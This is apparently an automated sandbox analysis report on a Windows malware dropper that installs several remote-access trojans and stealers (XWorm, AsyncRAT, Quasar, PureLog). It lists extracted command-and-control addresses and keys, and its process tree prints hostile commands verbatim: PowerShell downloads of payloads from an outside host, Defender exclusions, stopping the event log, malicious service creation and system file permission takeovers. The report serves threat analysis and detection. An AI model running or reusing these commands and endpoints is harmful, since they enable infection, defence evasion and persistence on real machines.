Resubmissions
25-06-2024 11:24
240625-nhwp5swhja 1025-06-2024 11:22
240625-ngzemszcrm 324-06-2024 00:56
240624-bamq2s1gma 1023-06-2024 11:27
240623-nkejmsygnf 823-06-2024 11:15
240623-nchw4ayflh 1023-06-2024 11:08
240623-m81w4syerb 1023-06-2024 11:08
240623-m8qq5ssfpn 322-05-2024 09:14
240522-k7dzvaad9z 1021-05-2024 10:21
240521-mdy42aaa2x 1021-05-2024 10:18
240521-mcbx4shg72 10Analysis
-
max time kernel
100s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
-
submitted
22-05-2024 09:14
General
-
Target
New Text Document mod.exe
-
Size
8KB
-
MD5
69994ff2f00eeca9335ccd502198e05b
-
SHA1
b13a15a5bea65b711b835ce8eccd2a699a99cead
-
SHA256
2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
-
SHA512
ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3
-
SSDEEP
96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1
Malware Config
Extracted
https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002
Extracted
https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002
Extracted
xworm
5.0
85.203.4.146:7000
5.182.87.154:7000
eItTbYBfBYihwkyW
-
Install_directory
%Userprofile%
-
install_file
svchost.exe
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.2
Default
85.209.133.18:4545
5.182.87.154:4449
tdipywykihsjieff
-
delay
1
-
install
false
-
install_folder
%AppData%
Extracted
quasar
1.4.1
Office04
79.132.193.215:4782
f99ccef5-65c4-4972-adf2-fb38921cc9fc
-
encryption_key
1C15E91ACCFAC60B043A1336CF6912EA8572BA83
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
Extracted
xworm
-
Install_directory
%AppData%
-
install_file
taskhostw.exe
-
pastebin_url
https://pastebin.com/raw/Xuc6dzua
Extracted
asyncrat
1.0.7
Default
127.0.0.1:8848
DcRatMutex_qwqdanchun
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
-
Detect Xworm Payload 6 IoCs
-
Modifies security service 2 TTPs 1 IoCs
-
PureLog Stealer
PureLog Stealer is an infostealer written in C#.
-
PureLog Stealer payload 2 IoCs
-
Quasar RAT
Quasar is an open source Remote Access Tool.
-
Quasar payload 3 IoCs
-
Windows security bypass 2 TTPs 6 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Async RAT payload 1 IoCs
-
Blocklisted process makes network request 3 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
-
Possible privilege escalation attempt 34 IoCs
-
Stops running service(s) 4 TTPs
-
Drops startup file 2 IoCs
-
Executes dropped EXE 49 IoCs
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 34 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Windows security modification 2 TTPs 7 IoCs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 24 IoCs
-
Suspicious use of SetThreadContext 6 IoCs
-
Drops file in Program Files directory 5 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Kills process with taskkill 2 IoCs
-
Modifies data under HKEY_USERS 4 IoCs
-
Modifies registry class 22 IoCs
-
Modifies system certificate store 2 TTPs 21 IoCs
-
Runs .reg file with regedit 2 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SendNotifyMessage 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\eagleget-2-1-6-50.exe"C:\Users\Admin\AppData\Local\Temp\a\eagleget-2-1-6-50.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\a\AntiVirus2.exe"C:\Users\Admin\AppData\Local\Temp\a\AntiVirus2.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\Setup.exe"C:\Users\Admin\AppData\Local\Temp\a\Setup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\comp.exeC:\Windows\SysWOW64\comp.exe3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FUT.au3C:\Users\Admin\AppData\Local\Temp\FUT.au34⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 2525⤵
- Loads dropped DLL
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\win1.exe"C:\Users\Admin\AppData\Local\Temp\a\win1.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\a\output.exe"C:\Users\Admin\AppData\Local\Temp\a\output.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENT (3).PDF"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\SIG.EXE"C:\Users\Admin\AppData\Local\Temp\SIG.EXE"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\alabi.exe"C:\Users\Admin\AppData\Local\Temp\a\alabi.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\crt.exe"C:\Users\Admin\AppData\Local\Temp\a\crt.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-VONQV.tmp\crt.tmp"C:\Users\Admin\AppData\Local\Temp\is-VONQV.tmp\crt.tmp" /SL5="$40160,5149750,54272,C:\Users\Admin\AppData\Local\Temp\a\crt.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Sounder Midi Player\soundermidiplayer.exe"C:\Users\Admin\AppData\Local\Sounder Midi Player\soundermidiplayer.exe" -i4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Sounder Midi Player\soundermidiplayer.exe"C:\Users\Admin\AppData\Local\Sounder Midi Player\soundermidiplayer.exe" -s4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\oiii.exe"C:\Users\Admin\AppData\Local\Temp\a\oiii.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c takeown /f "C:\Program Files\Windows Media Player\wmpnetwk.exe" && icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe" /grant administrators:F3⤵
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Windows Media Player\wmpnetwk.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Windows Media Player\wmpnetwk.exe" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc create "Accecss Auto Connetcion Manager" binPath= "C:\Program Files\Windows Media Player\wmixedwk.exe" START= auto DISPLAYNAME= "WebServer" TYPE= own3⤵
-
C:\Windows\system32\sc.exesc create "Accecss Auto Connetcion Manager" binPath= "C:\Program Files\Windows Media Player\wmixedwk.exe" START= auto DISPLAYNAME= "WebServer" TYPE= own4⤵
- Launches sc.exe
-
C:\Windows\system32\cmd.execmd /c ""C:\kkxqbh.bat" "3⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 34⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\a\conhost.exe"C:\Users\Admin\AppData\Local\Temp\a\conhost.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"3⤵
- Loads dropped DLL
-
C:\Windows\system32\mode.commode 65,104⤵
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p563741341569714296105326100 -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exeattrib +H "svcshost.exe"4⤵
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe"svcshost.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\sdf34ert3etgrthrthfghfghjfgh.exe"C:\Users\Admin\AppData\Local\Temp\a\sdf34ert3etgrthrthfghfghjfgh.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\kat3C07.tmpC:\Users\Admin\AppData\Local\Temp\kat3C07.tmp3⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\a\o2i3jroi23joj23ikrjokij3oroi.exe"C:\Users\Admin\AppData\Local\Temp\a\o2i3jroi23joj23ikrjokij3oroi.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\kat41D1.tmpC:\Users\Admin\AppData\Local\Temp\kat41D1.tmp3⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\a\inte.exe"C:\Users\Admin\AppData\Local\Temp\a\inte.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a\inte.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "inte.exe" /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\vpn-1002.exe"C:\Users\Admin\AppData\Local\Temp\a\vpn-1002.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nst4397.tmp\abc.bat"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\tdrpload.exe"C:\Users\Admin\AppData\Local\Temp\a\tdrpload.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\sysblardsv.exeC:\Windows\sysblardsv.exe3⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Windows security modification
-
C:\Users\Admin\AppData\Local\Temp\767226468.exeC:\Users\Admin\AppData\Local\Temp\767226468.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\syslmgrsvc.exeC:\Windows\syslmgrsvc.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\240536066.exeC:\Users\Admin\AppData\Local\Temp\240536066.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\1632030773.exeC:\Users\Admin\AppData\Local\Temp\1632030773.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\3031322510.exeC:\Users\Admin\AppData\Local\Temp\3031322510.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\1699713940.exeC:\Users\Admin\AppData\Local\Temp\1699713940.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\283765726.exeC:\Users\Admin\AppData\Local\Temp\283765726.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\1773630283.exeC:\Users\Admin\AppData\Local\Temp\1773630283.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\3009318456.exeC:\Users\Admin\AppData\Local\Temp\3009318456.exe4⤵
-
C:\Windows\winqlsdrvcs.exeC:\Windows\winqlsdrvcs.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\1530232592.exeC:\Users\Admin\AppData\Local\Temp\1530232592.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\1302724224.exeC:\Users\Admin\AppData\Local\Temp\1302724224.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\2150015860.exeC:\Users\Admin\AppData\Local\Temp\2150015860.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\579810092.exeC:\Users\Admin\AppData\Local\Temp\579810092.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\115941369.exeC:\Users\Admin\AppData\Local\Temp\115941369.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\1382227689.exeC:\Users\Admin\AppData\Local\Temp\1382227689.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\2558825873.exeC:\Users\Admin\AppData\Local\Temp\2558825873.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\1785517813.exeC:\Users\Admin\AppData\Local\Temp\1785517813.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\print.exe"C:\Users\Admin\AppData\Local\Temp\a\print.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\a\222.exe"C:\Users\Admin\AppData\Local\Temp\a\222.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"3⤵
- Loads dropped DLL
-
C:\Windows\system32\mode.commode 65,104⤵
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p209313910271864811381312692 -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_8.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exeattrib +H "Installer.exe"4⤵
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Local\Temp\main\Installer.exe"Installer.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "OARKQOLE"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "OARKQOLE" binpath= "C:\ProgramData\xiyorhiuewkj\adwmbjfsmbak.exe" start= "auto"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "OARKQOLE"5⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\a\Pirate_24S.exe"C:\Users\Admin\AppData\Local\Temp\a\Pirate_24S.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.vbs"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.cmd" "4⤵
- Drops file in System32 directory
-
C:\Windows\system32\reg.exeC:\Windows\Sysnative\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName5⤵
-
C:\Windows\SysWOW64\find.exefind /i "Windows 7"5⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Users\Admin\AppData\Local\Temp /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Users\Admin\AppData\Local\Temp /t /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\slwga.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\slwga.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\sppwmi.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\sppwmi.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\systemcpl.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\systemcpl.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\user32.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\user32.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\winlogon.exe5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\winlogon.exe /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\winver.exe5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\winver.exe /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\sppcomapi.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\sppcomapi.dll /deny users:(X)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\sppsvc.exe5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\sppsvc.exe /deny "LOCAL SERVICE":F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\winlogon.exe5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\winlogon.exe /deny "LOCAL SERVICE":F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\slwga.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\slwga.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\sppwmi.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\sppwmi.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\systemcpl.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\systemcpl.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\user32.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\user32.dll /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\winver.exe5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\winver.exe /grant everyone:f5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\sppcomapi.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\SysWOW64\sppcomapi.dll /deny users:(X)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\regedt32.exeC:\Windows\Sysnative\regedt32.exe /s MuiCache.reg5⤵
-
C:\Windows\regedit.exe"C:\Windows\regedit.exe" /s MuiCache.reg6⤵
- Modifies data under HKEY_USERS
- Modifies registry class
- Runs .reg file with regedit
-
C:\Windows\system32\control.exeC:\Windows\Sysnative\control.exe /name Microsoft.System5⤵
- Modifies registry class
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 75⤵
- Runs ping.exe
-
C:\Windows\system32\regedt32.exeC:\Windows\Sysnative\regedt32.exe /s ShowCmd.reg5⤵
-
C:\Windows\regedit.exe"C:\Windows\regedit.exe" /s ShowCmd.reg6⤵
- Modifies registry class
- Runs .reg file with regedit
-
C:\Users\Admin\AppData\Local\Temp\a\client.exe"C:\Users\Admin\AppData\Local\Temp\a\client.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
